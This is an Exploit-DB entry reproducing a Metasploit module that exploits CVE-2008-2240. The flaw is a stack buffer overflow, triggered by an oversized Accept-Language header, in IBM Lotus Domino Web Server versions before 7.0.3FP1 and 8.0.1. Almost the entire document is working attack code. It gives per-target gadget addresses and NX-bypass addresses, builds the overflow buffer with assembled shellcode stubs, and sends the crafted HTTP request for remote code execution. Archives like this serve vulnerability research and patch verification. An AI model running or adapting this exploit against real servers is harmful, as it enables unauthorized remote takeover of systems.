标题: IBM Lotus Domino Web Server - Accept-Language Stack Buffer Overflow (Metasploit) EDB-ID: 16697 CVE: 2008-2240 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-11 漏洞利用脚本: ##
# $Id: domino_http_accept_language.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'   => 'IBM Lotus Domino Web Server Accept-Language Stack Buffer Overflow',
   'Description'  => %q{
     This module exploits a stack buffer overflow in IBM Lotus Domino Web Server
    prior to version 7.0.3FP1 and 8.0.1. This flaw is triggered by any HTTP
    request with an Accept-Language header greater than 114 bytes.
   },
   'Author'  => [ 'Fairuzan Roslan riaf[at]mysec.org', 'Earl Marcus klks[at]mysec.org' ],
   'License'  => MSF_LICENSE,
   'Version'  => '$Revision: 10998 $',
   'References'  =>
    [
     ['CVE', '2008-2240'],
     ['OSVDB', '45415'],
     ['BID', '29310'],
     ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21303057'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'  => true,
   'Payload'  =>
    {
     'Space'   => 800,
     'BadChars'  => "\x00\x0a\x20\x2c\x3b",
     'StackAdjustment' => -3500,
    },
   'Platform'  => 'win',
   'Targets'  =>
    [

     ['Lotus Domino 7.0 on Windows 2003 SP1 English(NX)',
      {
       'FixESP' => 0x70335c79, # add esp, 0x324, ret   @fontmanager.dll
       'FixESI' => 0x603055da, # push esp, pop esi, ret  @nnotes.dll
       'FixEBP' => 0x60a8bc90, # push esp, pop ebp, ret 0x10 @nnotes.dll
       'Ret'  => 0x62c838c7, # ret 0x12e   @nlsccstr.dl
       'DisableNX' => 0x7c83e413, # NX Disable   @ntdll.dll
       'JmpESP' => 0x62c6072e, # jmp esp   @nlsccstr.dll
      }
     ],

     ['Lotus Domino 7.0 on Windows 2003 SP2 English(NX)',
      {
       'FixESP' => 0x70335c79, # add esp, 0x324, ret   @fontmanager.dll
       'FixESI' => 0x603055da, # push esp, pop esi, ret  @nnotes.dll
       'FixEBP' => 0x60a8bc90, # push esp, pop ebp, ret 0x10 @nnotes.dll
       'Ret'  => 0x62c838c7, # ret 0x12e   @nlsccstr.dll
       'DisableNX' => 0x7c83f517, # NX Disable   @ntdll.dll
       'JmpESP' => 0x62c6072e, # jmp esp   @nlsccstr.dll
      }
     ],

     ['Lotus Domino 7.0 on Windows 2003/2000/XP English(NO NX)',
      {
       'FixESP' => 0x70335c79, # add esp, 0x324, ret   @fontmanager.dll
       'JmpESP' => 0x62c6072e, # jmp esp   @lsccstr.dll
      }
     ],

     ['Lotus Domino 8.0 on Windows 2003 SP1 English(NX)',
      {
       'FixESP' => 0x7ea0615c, # add esp, 0x324, ret  @net.dll
       'FixESI' => 0x639a7f87, # push esp, pop esi, ret  @nlsccstr.dll
       'FixEBP' => 0x6391c9f7, # push esp, pop ebp, ret 0x10 @nlsccstr.dll
       'Ret'  => 0x7f8b0628, # ret 0x12e   @j9gc23.dll
       'DisableNX' => 0x7c83e413, # NX Disable   @ntdll.dll
       'JmpESP' => 0x6391071e, # jmp esp    @nlsccstr.dll
      }
     ],

     ['Lotus Domino 8.0 on Windows 2003 SP2 English(NX)',
      {
       'FixESP' => 0x7ea0615c, # add esp, 0x324, ret  @net.dll
       'FixESI' => 0x639a7f87, # push esp, pop esi, ret  @nlsccstr.dll
       'FixEBP' => 0x6391c9f7, # push esp, pop ebp, ret 0x10 @nlsccstr.dll
       'Ret'  => 0x7f8b0628, # ret 0x12e   @j9gc23.dll
       'DisableNX' => 0x7c83f517, # NX Disable   @ntdll.dll
       'JmpESP' => 0x6391071e, # jmp esp   @nlsccstr.dll
      }
     ],

     ['Lotus Domino 8.0 on Windows 2003/2000/XP English(NO NX)',
      {
       'FixESP' => 0x7ea0615c, # add esp, 0x324, ret  @net.dll
       'JmpESP' => 0x6391071e, # jmp esp   @nlsccstr.dll
      }
     ],

    ],
   'DisclosureDate' => 'May 20 2008'))

  register_options( [ Opt::RPORT(80) ], self.class )
 end

 def exploit
  connect

  lang = rand_text_alphanumeric(116)    # greetz to hateful chris
  lang[ 56,  4 ] = [ 0xfffffffe ].pack('V')   # Fix Second crash (esi)
  lang[ 68,  4 ] = [ 0x7ffaf0ec ].pack('V')   # Fix Second crash (eax)
  lang[ 104, 4 ] = [ 0x7ffaf030 ].pack('V')   # Fix First crash
  lang[ 112, 4 ] = [target['FixESP']].pack('V')   # 1
  lang << "\x00"
  lang << payload.encoded

  if(not target['DisableNX'])
   lang[ 16, 15 ] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-0xc4 pop edi sub edi,-0x86 call edi").encode_string  # 4
   lang[ 80,  4 ] = [target['JmpESP']].pack('V')  # 2
   lang[ 84,  2 ] = Rex::Arch::X86.jmp_short(-0x46) # 3 jmp back to top
  else
   lang[ 16, 16 ] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-0xd8 pop edi pop edi sub edi,-0x86 call edi").encode_string # 8
   lang[ 80,  4 ] = [target['FixESI']].pack('V')  # 2
   lang[ 84,  4 ] = [target['FixEBP']].pack('V')  # 3
   lang[ 88,  4 ] = [target['Ret']].pack('V')  # 4
   lang[ 92,  4 ] = [target['JmpESP']].pack('V')  # 6
   lang[ 100, 2 ] = Rex::Arch::X86.jmp_short(-0x56) # 7  jmp back to top
   lang[ 108, 4 ] = [target['DisableNX']].pack('V') # 5
  end

  uri = rand_text_alpha_lower(16) + '.nsf?' + rand_text_highascii(1) # Trigger

  print_status("Trying target #{target.name}...")
  send_request_raw({
      'uri'   => "#{uri}",
      'method'  => 'GET',
      'headers'  =>
      {
       'Accept'  => '*/*',
       'Accept-Language' => "#{lang}",
       'Accept-Encoding' => 'gzip,deflate',
       'Keep-Alive'  => '300',
       'Connection'  => 'keep-alive',
       'User-Agent'  => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
      }
     }, 5)
  handler
  disconnect
 end
end URL: https://www.exploit-db.com/exploits/16697